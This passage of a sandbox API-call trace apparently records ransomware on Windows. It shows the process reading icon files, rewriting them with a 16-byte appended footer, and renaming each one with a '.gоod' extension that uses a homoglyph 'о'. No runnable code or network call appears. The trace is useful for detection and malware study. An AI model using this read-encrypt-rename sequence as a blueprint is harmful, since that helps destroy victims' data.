hTemplateFile=0x0) returned 0x63c [0125.583] GetFileType (hFile=0x63c) returned 0x1 [0125.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0125.583] GetFileType (hFile=0x63c) returned 0x1 [0125.583] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0x47e [0125.583] ReadFile (in: hFile=0x63c, lpBuffer=0x355beb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x355beb8*, lpNumberOfBytesRead=0x1f6edc28*=0x47e, lpOverlapped=0x0) returned 1 [0125.584] CloseHandle (hObject=0x63c) returned 1 [0126.158] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Save.ico", lpFilePart=0x0) returned 0x27 [0126.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0126.158] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0126.159] GetFileType (hFile=0x640) returned 0x1 [0126.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0126.159] GetFileType (hFile=0x640) returned 0x1 [0126.159] WriteFile (in: hFile=0x640, lpBuffer=0x3966cd0*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x3966cd0*, lpNumberOfBytesWritten=0x1f6edb38*=0x480, lpOverlapped=0x0) returned 1 [0126.160] CloseHandle (hObject=0x640) returned 1 [0126.160] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Save.ico", lpFilePart=0x0) returned 0x27 [0126.160] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Save.ico.gоod", lpFilePart=0x0) returned 0x2c [0126.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0126.160] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x47685d9f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0126.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0126.160] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.gоod" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.gоod")) returned 1 [0126.161] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", lpFilePart=0x0) returned 0x28 [0126.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0126.161] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), fInfoLevelId=0x0, lpFileInformation=0x3967eb0 | out: lpFileInformation=0x3967eb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66)) returned 1 [0126.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0126.161] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", lpFilePart=0x0) returned 0x28 [0126.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0126.161] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0126.161] GetFileType (hFile=0x640) returned 0x1 [0126.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0126.161] GetFileType (hFile=0x640) returned 0x1 [0126.161] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0126.162] ReadFile (in: hFile=0x640, lpBuffer=0x3968248, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x3968248*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0126.163] CloseHandle (hObject=0x640) returned 1 [0126.163] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", lpFilePart=0x0) returned 0x28 [0126.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0126.163] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0126.163] GetFileType (hFile=0x640) returned 0x1 [0126.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0126.163] GetFileType (hFile=0x640) returned 0x1 [0126.163] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x8f66 [0126.163] WriteFile (in: hFile=0x640, lpBuffer=0x39694a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x39694a0*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0126.164] CloseHandle (hObject=0x640) returned 1 [0126.164] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", lpFilePart=0x0) returned 0x28 [0126.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0126.164] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0126.164] GetFileType (hFile=0x640) returned 0x1 [0126.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0126.164] GetFileType (hFile=0x640) returned 0x1 [0126.164] ReadFile (in: hFile=0x640, lpBuffer=0x396b720, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x396b720*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0128.871] CloseHandle (hObject=0x640) returned 1 [0128.871] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", lpFilePart=0x0) returned 0x28 [0128.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0128.871] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0128.871] GetFileType (hFile=0x640) returned 0x1 [0128.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0128.871] GetFileType (hFile=0x640) returned 0x1 [0128.871] WriteFile (in: hFile=0x640, lpBuffer=0x33c74d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x33c74d0*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0128.871] CloseHandle (hObject=0x640) returned 1 [0128.872] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", lpFilePart=0x0) returned 0x28 [0128.872] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.gоod", lpFilePart=0x0) returned 0x2d [0128.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0128.872] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x490664a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8f76)) returned 1 [0128.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0128.872] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.gоod" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.gоod")) returned 1 [0128.872] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\stop.ico", lpFilePart=0x0) returned 0x27 [0128.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0128.872] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), fInfoLevelId=0x0, lpFileInformation=0x3621d80 | out: lpFileInformation=0x3621d80*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796)) returned 1 [0128.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0128.873] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\stop.ico", lpFilePart=0x0) returned 0x27 [0128.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0128.873] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0128.873] GetFileType (hFile=0x640) returned 0x1 [0128.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0128.873] GetFileType (hFile=0x640) returned 0x1 [0128.873] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0128.873] ReadFile (in: hFile=0x640, lpBuffer=0x3622108, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x3622108*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0128.874] CloseHandle (hObject=0x640) returned 1 [0128.874] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\stop.ico", lpFilePart=0x0) returned 0x27 [0128.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0128.874] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0128.875] GetFileType (hFile=0x640) returned 0x1 [0128.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0128.875] GetFileType (hFile=0x640) returned 0x1 [0128.875] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x2796 [0128.875] WriteFile (in: hFile=0x640, lpBuffer=0x3623358*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x3623358*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0128.875] CloseHandle (hObject=0x640) returned 1 [0128.876] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\stop.ico", lpFilePart=0x0) returned 0x27 [0128.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0128.876] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0128.876] GetFileType (hFile=0x640) returned 0x1 [0128.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0128.876] GetFileType (hFile=0x640) returned 0x1 [0128.876] ReadFile (in: hFile=0x640, lpBuffer=0x36255d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x36255d0*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0129.947] CloseHandle (hObject=0x640) returned 1 [0129.947] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\stop.ico", lpFilePart=0x0) returned 0x27 [0129.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0129.947] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0129.947] GetFileType (hFile=0x640) returned 0x1 [0129.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0129.947] GetFileType (hFile=0x640) returned 0x1 [0129.947] WriteFile (in: hFile=0x640, lpBuffer=0x3479b40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x3479b40*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0129.947] CloseHandle (hObject=0x640) returned 1 [0129.947] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\stop.ico", lpFilePart=0x0) returned 0x27 [0129.947] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\stop.ico.gоod", lpFilePart=0x0) returned 0x2c [0129.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0129.948] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x49abdec9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x27a6)) returned 1 [0129.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0129.948] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.gоod" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.gоod")) returned 1 [0129.948] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico", lpFilePart=0x0) returned 0x2c [0129.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0129.948] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), fInfoLevelId=0x0, lpFileInformation=0x36397e0 | out: lpFileInformation=0x36397e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e)) returned 1 [0129.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0129.949] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico", lpFilePart=0x0) returned 0x2c [0129.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0129.949] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0129.949] GetFileType (hFile=0x640) returned 0x1 [0129.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0129.949] GetFileType (hFile=0x640) returned 0x1 [0129.949] GetFileSize (in: hFile=0x640, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0x47e [0129.949] ReadFile (in: hFile=0x640, lpBuffer=0x3639ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x3639ea8*, lpNumberOfBytesRead=0x1f6edc28*=0x47e, lpOverlapped=0x0) returned 1 [0129.950] CloseHandle (hObject=0x640) returned 1 [0129.977] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico", lpFilePart=0x0) returned 0x2c [0129.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0129.977] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0129.978] GetFileType (hFile=0x640) returned 0x1 [0129.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0129.978] GetFileType (hFile=0x640) returned 0x1 [0129.978] WriteFile (in: hFile=0x640, lpBuffer=0x36b2940*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x36b2940*, lpNumberOfBytesWritten=0x1f6edb38*=0x480, lpOverlapped=0x0) returned 1 [0129.979] CloseHandle (hObject=0x640) returned 1 [0129.979] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico", lpFilePart=0x0) returned 0x2c [0129.979] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.gоod", lpFilePart=0x0) returned 0x31 [0129.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0129.979] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x49b0a365, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0129.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0129.979] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.gоod" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.gоod")) returned 1 [0129.980] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico", lpFilePart=0x0) returned 0x2f [0129.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0129.980] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), fInfoLevelId=0x0, lpFileInformation=0x36b3b40 | out: lpFileInformation=0x36b3b40*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e)) returned 1 [0129.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0129.980] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico", lpFilePart=0x0) returned 0x2f [0129.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0129.980] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0129.980] GetFileType (hFile=0x640) returned 0x1 [0129.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0129.981] GetFileType (hFile=0x640) returned 0x1 [0129.981] GetFileSize (in: hFile=0x640, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0x47e [0129.981] ReadFile (in: hFile=0x640, lpBuffer=0x36b4218, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x36b4218*, lpNumberOfBytesRead=0x1f6edc28*=0x47e, lpOverlapped=0x0) returned 1 [0130.389] CloseHandle 